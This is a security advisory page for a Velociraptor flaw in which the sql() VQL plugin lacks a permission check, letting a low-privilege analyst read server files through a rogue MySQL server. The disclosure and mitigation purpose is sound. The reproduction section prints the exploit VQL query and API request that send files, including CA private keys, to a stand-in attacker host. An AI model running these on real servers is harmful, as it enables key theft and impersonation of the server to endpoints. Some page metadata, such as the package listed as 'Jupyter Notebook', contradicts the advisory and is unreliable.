CVE-2026-85737: Velociraptor: missing authz in sql() leaks server files

GHSA-9qq5-422f-33c2MEDIUM
Published November 9, 2026
CISO Take

Velociraptor's `sql()` VQL plugin performs no runtime permission check, so even the lowest built-in query role (`analyst`) can make the server open arbitrary outbound connections. By pointing it at a rogue MySQL server that abuses `LOAD DATA LOCAL INFILE`, that user can read any file the root-running server can read, including the CA and Frontend private keys. Stealing the CA key would let an attacker forge client certificates and impersonate the server to every enrolled endpoint. Exploitation needs only a low-privilege account and one query, but there is no public exploit or Nuclei template, no KEV listing, and EPSS is low in absolute terms (0.00238, though that is the top 85th percentile). The package has 3,030 downstream dependents and 79 other CVEs, which points to a heavily scrutinized codebase. Upgrade to v0.77.2 now. Until then, restrict `analyst`, `investigator` and `api` role assignments, block server egress to untrusted hosts, and rotate CA and server keys if misuse is suspected.

Sources:NVDGitHub AdvisoryEPSSOpenSSFATLASgithub.com/Velocidex/velociraptor

What is the risk?

Medium by CVSS (6.5, network, low privileges, high confidentiality impact only), but the real-world impact is higher than the score suggests. The disclosed files include the deployment CA private key, so a single query can turn into full compromise of the DFIR trust chain. The flaw is trivially exploitable on a default install with no non-default flags, and the reporter confirmed it live on the official container image. Likelihood is limited by the need for an authenticated query-capable account. There is no known in-the-wild exploitation, no KEV entry, and no public exploit. Relevance to AI/ML is indirect: Velociraptor is a DFIR and endpoint-monitoring tool, not an AI component, which is why it is classed as an AI tool.

How does the attack unfold?

Initial Access
Attacker uses a low-privilege analyst, investigator or api account on the Velociraptor server.
AML.T0012
Exploitation
A VQL query calls sql() with the mysql driver, which has no permission check and dials an attacker-controlled server.
AML.T0049
Collection
The rogue MySQL server issues LOAD DATA LOCAL INFILE and reads server.config.yaml, /etc/shadow and other root-readable files.
AML.T0037
Impact
Stolen CA and frontend private keys let the attacker forge client certificates and impersonate the server to enrolled endpoints.
AML.T0055

What systems are affected?

PackageEcosystemVulnerable RangePatched
Jupyter Notebookgo<= 0.77.10.77.2
13.5KOpenSSF 5.73.0K dependentsPushed 7d ago80% patched~74d to patchFull package profile →

Do you use Jupyter Notebook? You're affected.

How severe is it?

CVSS 3.1
6.5 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 15% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRLow
UINone
SUnchanged
CHigh
INone
ANone

What should I do?

6 steps
  1. Upgrade the Velociraptor server to v0.77.2 or later (fixes in PR 4952 and the referenced commits).

  2. Until patched, review who holds analyst, investigator or api roles, remove unnecessary assignments, and disable or rotate unused API credentials.

  3. Apply egress filtering on the server so it cannot reach arbitrary hosts, in particular unusual MySQL/Postgres ports.

  4. Run the server as a non-root user or in a hardened container, with the server config mounted read-only and minimal host file exposure.

  5. Detect abuse by auditing notebook and query logs for sql( calls with driver='mysql' or driver='postgres', allowAllFiles=true, or connection strings pointing to external hosts, and alert on unexpected outbound connections from the server.

  6. If misuse is suspected, rotate the CA and frontend keys and re-enroll clients, rotate user credentials, and review for forged certificates.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Responses to identified AI risks and incidents
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-85737?

Velociraptor's `sql()` VQL plugin performs no runtime permission check, so even the lowest built-in query role (`analyst`) can make the server open arbitrary outbound connections. By pointing it at a rogue MySQL server that abuses `LOAD DATA LOCAL INFILE`, that user can read any file the root-running server can read, including the CA and Frontend private keys. Stealing the CA key would let an attacker forge client certificates and impersonate the server to every enrolled endpoint. Exploitation needs only a low-privilege account and one query, but there is no public exploit or Nuclei template, no KEV listing, and EPSS is low in absolute terms (0.00238, though that is the top 85th percentile). The package has 3,030 downstream dependents and 79 other CVEs, which points to a heavily scrutinized codebase. Upgrade to v0.77.2 now. Until then, restrict `analyst`, `investigator` and `api` role assignments, block server egress to untrusted hosts, and rotate CA and server keys if misuse is suspected.

Is CVE-2026-85737 actively exploited?

No confirmed active exploitation of CVE-2026-85737 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-85737?

1. Upgrade the Velociraptor server to v0.77.2 or later (fixes in PR 4952 and the referenced commits). 2. Until patched, review who holds `analyst`, `investigator` or `api` roles, remove unnecessary assignments, and disable or rotate unused API credentials. 3. Apply egress filtering on the server so it cannot reach arbitrary hosts, in particular unusual MySQL/Postgres ports. 4. Run the server as a non-root user or in a hardened container, with the server config mounted read-only and minimal host file exposure. 5. Detect abuse by auditing notebook and query logs for `sql(` calls with `driver='mysql'` or `driver='postgres'`, `allowAllFiles=true`, or connection strings pointing to external hosts, and alert on unexpected outbound connections from the server. 6. If misuse is suspected, rotate the CA and frontend keys and re-enroll clients, rotate user credentials, and review for forged certificates.

What systems are affected by CVE-2026-85737?

This vulnerability affects the following AI/ML architecture patterns: Security monitoring and DFIR platforms, Endpoint telemetry servers, Hosts supporting ML training and serving infrastructure.

What is the CVSS score for CVE-2026-85737?

CVE-2026-85737 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.24%.

What is the AI security impact?

Affected AI Architectures

Security monitoring and DFIR platformsEndpoint telemetry serversHosts supporting ML training and serving infrastructure

MITRE ATLAS Techniques

AML.T0012Valid Accounts
AML.T0025Exfiltration via Cyber Means
AML.T0037Data from Local System
AML.T0055Unsecured Credentials

Compliance Controls Affected

ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary The `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`). The plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing. The built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API. Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key. ## Affected - Velocidex/velociraptor server, `<= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17). - Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58). - Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`). - No non-default flag required. ## Root cause `SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink. Note on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin's own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check. ## Reproduction `ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user. 1) As `analyst`, confirm the control: the gated accessor denies the read. sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ] 2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE <target>` packet. 3) As the same `analyst`, call the ungated branch through the notebook query API: POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT * FROM sql(driver='mysql', connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"} The rogue server receives the file: QUERY: 'SELECT 1' EXFIL 12860 bytes /etc/velociraptor/server.config.yaml contains: CA private_key, gw_private_key, Frontend private_key Live-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`. ## Impact * CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint. * Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data). * Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins. * Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`). * Triggered by the lowest built-in query role, default config, one query, no admin interaction. ## Credit Jan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)

Exploitation Scenario

An attacker obtains or already holds a low-privilege `analyst` account on a Velociraptor server, for example through phishing, credential reuse or an insider. They stand up a rogue MySQL server that answers every query with a `LOAD DATA LOCAL INFILE` request. From the notebook interface they run a VQL query calling `sql(driver='mysql', connstring='x:y@tcp(attacker:4499)/z?allowAllFiles=true', ...)`. The server connects out and sends back `/etc/velociraptor/server.config.yaml`, containing the CA and frontend private keys, plus `/etc/shadow`. The attacker then forges client certificates or impersonates the server, taking control of the monitoring channel to all endpoints, including those in ML and GPU infrastructure.

Weaknesses (CWE)

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Timeline

Published
November 9, 2026
Last Modified
November 10, 2026
First Seen
November 10, 2026

Related Vulnerabilities